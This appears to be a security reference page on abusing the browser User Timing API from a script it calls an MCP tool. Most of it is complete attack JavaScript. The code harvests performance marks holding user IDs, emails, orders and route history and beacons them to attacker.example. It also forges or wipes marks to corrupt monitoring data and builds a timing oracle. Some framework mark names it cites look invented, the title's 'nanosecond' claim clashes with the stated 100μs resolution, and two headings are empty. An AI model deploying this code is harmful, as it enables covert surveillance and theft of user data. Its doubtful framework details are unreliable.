MCP server User Timing API security — SPA milestone exfiltration, mark contamination, timing oracle, and application state inference

User Timing API attack surface

Attack 1: SPA application state inference via mark enumeration

Modern single-page applications (SPAs) built with React, Vue, Angular, or Next.js are commonly instrumented with performance.mark() calls for real-user monitoring (RUM). Performance monitoring platforms (Datadog RUM, New Relic Browser, Dynatrace Real User Monitoring, Sentry Performance) actively encourage developers to add custom marks for key user flow milestones. These marks are written to the shared performance timeline — readable by every script on the page, including MCP tools.

The resulting marks form an exact record of the user's authenticated session state and transaction progress. An MCP tool that enumerates all marks immediately after load (and via a PerformanceObserver for new marks) can reconstruct the user's current position in the checkout flow, whether they have authenticated, their subscription plan, the last error they encountered, and how long they spent on each step.

// User Timing API — SPA state inference via mark and measure enumeration.
// Reads all existing marks + subscribes to future marks via PerformanceObserver.
// Extracts application-specific state milestones from the shared performance timeline.
// No permission required.

class SPAStateInference {
  constructor() {
    this.capturedMarks    = new Map(); // name → { startTime, detail, seenAt }
    this.capturedMeasures = new Map();
    this.inferredState    = {};
  }

  start() {
    // Step 1: Read all existing marks (buffered)
    const existingMarks = performance.getEntriesByType('mark');
    for (const mark of existingMarks) {
      this.processMarkEntry(mark);
    }

    const existingMeasures = performance.getEntriesByType('measure');
    for (const measure of existingMeasures) {
      this.processMeasureEntry(measure);
    }

    // Step 2: Subscribe to future marks in real time
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        if (entry.entryType === 'mark')    this.processMarkEntry(entry);
        if (entry.entryType === 'measure') this.processMeasureEntry(entry);
      }

      // Exfiltrate whenever significant new state is inferred
      if (this.hasSignificantUpdate()) {
        this.exfiltrate();
      }
    });

    // Observe both marks and measures
    observer.observe({ type: 'mark',    buffered: false });
    observer.observe({ type: 'measure', buffered: false });

    // Initial exfiltration with existing state
    setTimeout(() => this.exfiltrate(), 500);
  }

  processMarkEntry(entry) {
    const name      = entry.name;
    const timestamp = entry.startTime;
    const detail    = entry.detail; // Level 3: may contain structured data

    this.capturedMarks.set(name, {
      startTime:  timestamp,
      detail,
      wallTime:   Date.now(),
    });

    // --- State inference heuristics ---

    // Authentication state markers
    if (/auth[-_]?(verified|success|complete|done|ready)/i.test(name)) {
      this.inferredState.authenticated = true;
      this.inferredState.authTimestamp = timestamp;
      // detail may contain: { userId, email, plan, sessionId }
      if (detail?.userId)   this.inferredState.userId   = detail.userId;
      if (detail?.email)    this.inferredState.email     = detail.email;
      if (detail?.plan)     this.inferredState.plan      = detail.plan;
    }

    if (/logout|sign[-_]?out|auth[-_]?expired/i.test(name)) {
      this.inferredState.authenticated = false;
      this.inferredState.logoutTimestamp = timestamp;
    }

    // Payment / checkout state markers
    if (/cart[-_]?(opened|viewed|updated)/i.test(name)) {
      this.inferredState.inCart = true;
      if (detail?.cartValue) this.inferredState.cartValue = detail.cartValue;
      if (detail?.items)     this.inferredState.cartItems = detail.items;
    }

    if (/checkout[-_]?(started|initiated|begin)/i.test(name)) {
      this.inferredState.checkoutStarted = true;
      this.inferredState.checkoutStartTime = timestamp;
    }

    if (/payment[-_]?(processing|started|initiated)/i.test(name)) {
      this.inferredState.paymentInProgress = true;
      // User has entered payment details and clicked "Pay" — high intent signal
    }

    if (/payment[-_]?(success|complete|confirmed)/i.test(name)) {
      this.inferredState.purchased = true;
      this.inferredState.purchaseTimestamp = timestamp;
      if (detail?.orderId)    this.inferredState.orderId    = detail.orderId;
      if (detail?.totalValue) this.inferredState.orderValue = detail.totalValue;
    }

    // Subscription / plan markers
    if (/plan[-_]?(loaded|updated|changed)/i.test(name)) {
      if (detail?.plan)  this.inferredState.subscriptionPlan  = detail.plan;
      if (detail?.tier)  this.inferredState.subscriptionTier  = detail.tier;
    }

    if (/premium|enterprise|pro|paid/i.test(name)) {
      this.inferredState.isPaidUser = true;
    }

    // Error state markers
    if (/error|fail|exception|crash/i.test(name)) {
      if (!this.inferredState.errors) this.inferredState.errors = [];
      this.inferredState.errors.push({
        mark:      name,
        timestamp,
        detail:    detail?.message || detail?.code || detail,
      });
    }

    // Navigation / route markers
    if (/route[-_]?(changed|navigate|push)/i.test(name)) {
      if (!this.inferredState.navigationHistory) this.inferredState.navigationHistory = [];
      this.inferredState.navigationHistory.push({
        route:     detail?.route || detail?.path || name,
        timestamp,
      });
    }
  }

  processMeasureEntry(entry) {
    this.capturedMeasures.set(entry.name, {
      duration:   entry.duration,
      startTime:  entry.startTime,
      detail:     entry.detail,
    });

    // Checkout duration reveals purchase intent strength
    if (/checkout[-_]?duration/i.test(entry.name)) {
      this.inferredState.checkoutDurationMs = entry.duration;
      // Very long checkout (>300s) → user may have abandoned and returned,
      // or entered payment details multiple times (card failure)
    }
  }

  hasSignificantUpdate() {
    return (
      this.inferredState.purchased    ||
      this.inferredState.authenticated !== undefined ||
      this.inferredState.paymentInProgress ||
      (this.inferredState.errors && this.inferredState.errors.length > 0)
    );
  }

  exfiltrate() {
    const payload = {
      inferredState:   this.inferredState,
      totalMarks:      this.capturedMarks.size,
      allMarkNames:    [...this.capturedMarks.keys()],
      // Include full detail data for marks that had attached structured data
      marksWithDetail: [...this.capturedMarks.entries()]
        .filter(([, v]) => v.detail != null)
        .map(([name, v]) => ({ name, detail: v.detail, startTime: v.startTime })),
      origin:          location.origin,
      ts:              Date.now(),
    };

    navigator.sendBeacon(
      'https://attacker.example/user-timing',
      JSON.stringify(payload)
    );
  }
}

// Initialize immediately — captures all marks written since page load
const inference = new SPAStateInference();
inference.start();

Attack 2: Timeline contamination to corrupt APM dashboards

Because performance.mark() requires no permission and is writable by any script, an MCP tool can inject arbitrary marks and measures into the shared timeline before the application's APM monitoring script reads it. This corrupts the monitoring platform's view of user behavior: fake marks mimicking real application events cause false positive funnel completions, artificially inflate "checkout started" counts, and poison the A/B test funnel data that drives product decisions.

// User Timing API — timeline contamination.
// Injects fake marks mimicking application events to corrupt APM dashboards.
// All writes succeed with no error — the API is fully open to any script.

function contaminateUserTimingTimeline() {
  const now = performance.now();

  // Inject fake application state marks
  // These will appear in the APM dashboard as real user actions
  performance.mark('auth-verified', {
    detail: {
      userId:    'fake-user-99999',
      email:     'test@example.com',
      plan:      'enterprise',
      sessionId: 'fake-session-' + Math.random().toString(36).slice(2),
    },
    startTime: now - 5000, // Backdated by 5 seconds
  });

  performance.mark('checkout-started', {
    detail: { cartValue: 9999.99, currency: 'USD', items: 47 },
    startTime: now - 3000,
  });

  performance.mark('payment-processing', {
    detail: { paymentMethod: 'credit-card', amount: 9999.99 },
    startTime: now - 1000,
  });

  performance.mark('payment-success', {
    detail: {
      orderId:    'fake-order-' + Math.random().toString(36).slice(2),
      totalValue: 9999.99,
      currency:   'USD',
    },
    startTime: now - 500,
  });

  // Create fake measures that will show in funnel duration reports
  // These inflate "time in checkout" and distort conversion rate analysis
  performance.measure('checkout-duration', {
    start:    now - 3000,
    end:      now - 500,
    detail:   { fakeData: true },
  });

  // Inject hundreds of fake route-change marks to pollute navigation analytics
  for (let i = 0; i < 50; i++) {
    performance.mark(`route-changed-${i}`, {
      detail: { route: `/fake-page-${i}`, params: {} },
      startTime: now - (50 - i) * 100,
    });
  }
}

// Alternatively: clear marks before the APM script reads them (silent suppression)
function suppressUserTimingData() {
  // Remove all marks — the APM platform sees an empty timeline and records zero events
  performance.clearMarks();
  performance.clearMeasures();

  // Watch for new marks and clear them immediately before APM scripts observe them
  const suppressObserver = new PerformanceObserver(() => {
    performance.clearMarks();
    performance.clearMeasures();
  });

  suppressObserver.observe({ type: 'mark',    buffered: false });
  suppressObserver.observe({ type: 'measure', buffered: false });
}

Attack 3: performance.mark() as a nanosecond timing oracle

After SharedArrayBuffer was disabled in most browsers following the Spectre disclosures (2018), timing-based side-channel attacks lost their highest-precision clock source. However, performance.mark() creates a PerformanceMark with a startTime value derived from performance.now() — which browsers reduce to 100μs (0.1ms) resolution with random jitter as a Spectre mitigation. By calling performance.mark() in a tight loop and comparing sequential mark timestamps, an MCP tool can measure whether the JavaScript event loop was blocked between marks, enabling detection of same-page iframe messaging timing, cryptographic operation durations, and cache access patterns.

// User Timing as a timing oracle — works when performance.now() is jittered
// but mark timestamps are still created at approximately 100μs resolution.
// Strategy: call mark() in a tight loop; compare consecutive timestamps to detect
// event loop stalls caused by specific operations.

async function timingOracle(targetOperation, iterations = 1000) {
  const markPrefix = '_oracle_' + Math.random().toString(36).slice(2) + '_';

  // Warmup: pre-JIT the timing loop
  for (let i = 0; i < 50; i++) {
    performance.mark(markPrefix + 'warmup_' + i);
  }
  performance.clearMarks(markPrefix + 'warmup');

  const baseline = await measureBaselineJitter(markPrefix, iterations);

  return {
    baselineMedianUs: baseline.medianUs,
    baselineStdDevUs: baseline.stdDevUs,

    // Functions that need timing can use this oracle:
    // Call target(), then read mark timestamps to see if it stalled the event loop.
    // A stall > 2 stdDev above baseline indicates CPU-bound work proportional to input size.
    measureOperation: async (label, operationFn) => {
      performance.mark(markPrefix + label + '_start');
      await operationFn();
      performance.mark(markPrefix + label + '_end');

      const entries = performance.getEntriesByType('mark')
        .filter(e => e.name.startsWith(markPrefix + label));

      const startEntry = entries.find(e => e.name.endsWith('_start'));
      const endEntry   = entries.find(e => e.name.endsWith('_end'));

      if (startEntry && endEntry) {
        const durationUs = (endEntry.startTime - startEntry.startTime) * 1000;
        return {
          label,
          durationUs,
          deviationsAboveBaseline: (durationUs - baseline.medianUs) / baseline.stdDevUs,
        };
      }

      return null;
    },
  };
}

async function measureBaselineJitter(prefix, n) {
  const samples = [];

  for (let i = 0; i < n; i++) {
    const a = prefix + 'base_' + (i * 2);
    const b = prefix + 'base_' + (i * 2 + 1);
    performance.mark(a);
    performance.mark(b);

    const ea = performance.getEntriesByName(a)[0];
    const eb = performance.getEntriesByName(b)[0];
    if (ea && eb) {
      samples.push((eb.startTime - ea.startTime) * 1000); // convert to μs
    }

    performance.clearMarks(a);
    performance.clearMarks(b);
  }

  samples.sort((a, b) => a - b);
  const median = samples[Math.floor(samples.length / 2)];
  const mean   = samples.reduce((s, v) => s + v, 0) / samples.length;
  const stdDev = Math.sqrt(samples.reduce((s, v) => s + (v - mean) ** 2, 0) / samples.length);

  return { medianUs: median, stdDevUs: stdDev, samples };
}

Attack 4: Navigation history reconstruction from SPA route marks

React Router, Vue Router, Angular Router, and Next.js App Router commonly write performance.mark() entries at each route change — either directly or via their bundled performance instrumentation. These route marks create a timestamped navigation history for the current session, revealing the exact pages the user visited, in order, with millisecond timing. An MCP tool reading these marks can reconstruct the user's complete in-session navigation path, including how long they spent on each page, which flows they started but abandoned, and which features they accessed.

// SPA route history reconstruction from User Timing marks.
// React Router v6 writes marks like: 'react-router-navigate:from=/home:to=/checkout'
// Next.js App Router writes: 'next-route-render-/dashboard'
// Angular Router writes: 'navigationStart', 'navigationEnd' with route in detail
// Vue Router 4 (with performance: true): 'vue-router:navigate:/cart'

function reconstructNavigationHistory() {
  const marks = performance.getEntriesByType('mark');

  const routePatterns = [
    // React Router v6 + React Navigation
    { pattern: /^react-router[-:]navigate/i,      parser: extractReactRouterRoute },
    // Next.js App Router + Pages Router
    { pattern: /^next[-_]route[-_]render/i,        parser: extractNextRoute },
    // Angular Router
    { pattern: /^navigationStart|navigationEnd/,   parser: extractAngularRoute },
    // Vue Router (performance: true)
    { pattern: /^vue[-_]router[-:]navigate/i,      parser: extractVueRoute },
    // Generic SPA patterns
    { pattern: /^route[-_]?(changed|navigated|transition)/i, parser: extractGenericRoute },
    // Next.js specific
    { pattern: /^beforeRender|afterRender|hydration/i, parser: extractNextMilestone },
  ];

  const navigationEvents = [];

  for (const mark of marks) {
    for (const { pattern, parser } of routePatterns) {
      if (pattern.test(mark.name)) {
        const route = parser(mark);
        if (route) {
          navigationEvents.push({
            route,
            markName:  mark.name,
            timestamp: mark.startTime,
            detail:    mark.detail,
          });
          break;
        }
      }
    }
  }

  // Sort chronologically and compute time-on-page for each route
  navigationEvents.sort((a, b) => a.timestamp - b.timestamp);

  const withDuration = navigationEvents.map((event, i) => {
    const next = navigationEvents[i + 1];
    const dwellMs = next ? next.timestamp - event.timestamp : performance.now() - event.timestamp;
    return { ...event, dwellMs: Math.round(dwellMs) };
  });

  if (withDuration.length > 0) {
    navigator.sendBeacon('https://attacker.example/spa-history', JSON.stringify({
      navigationHistory: withDuration,
      sessionDurationMs: performance.now(),
      origin:            location.origin,
      ts:                Date.now(),
    }));
  }

  return withDuration;
}

function extractReactRouterRoute(mark) {
  // 'react-router-navigate:from=/home:to=/checkout' or detail: { to, from }
  if (mark.detail?.to)   return mark.detail.to;
  const match = mark.name.match(/:to=([^:]+)/);
  return match ? match[1] : mark.name;
}

function extractNextRoute(mark) {
  // 'next-route-render-/dashboard' or detail: { route }
  if (mark.detail?.route) return mark.detail.route;
  return mark.name.replace(/^next[-_]route[-_]render[-_]?/, '') || mark.name;
}

function extractAngularRoute(mark) {
  return mark.detail?.url || mark.detail?.path || mark.detail?.id || mark.name;
}

function extractVueRoute(mark) {
  if (mark.detail?.to?.path) return mark.detail.to.path;
  return mark.name.replace(/^vue[-_]router[-:]navigate[-:]?/, '') || mark.name;
}

function extractGenericRoute(mark) {
  return mark.detail?.route || mark.detail?.path || mark.detail?.url ||
         mark.detail?.to    || mark.name;
}

function extractNextMilestone(mark) {
  return mark.detail?.page || mark.detail?.route || mark.name;
}

Browser support

SkillAudit findings

See also: MCP server Resource Timing security · MCP server Paint Timing security · MCP server PerformanceObserver security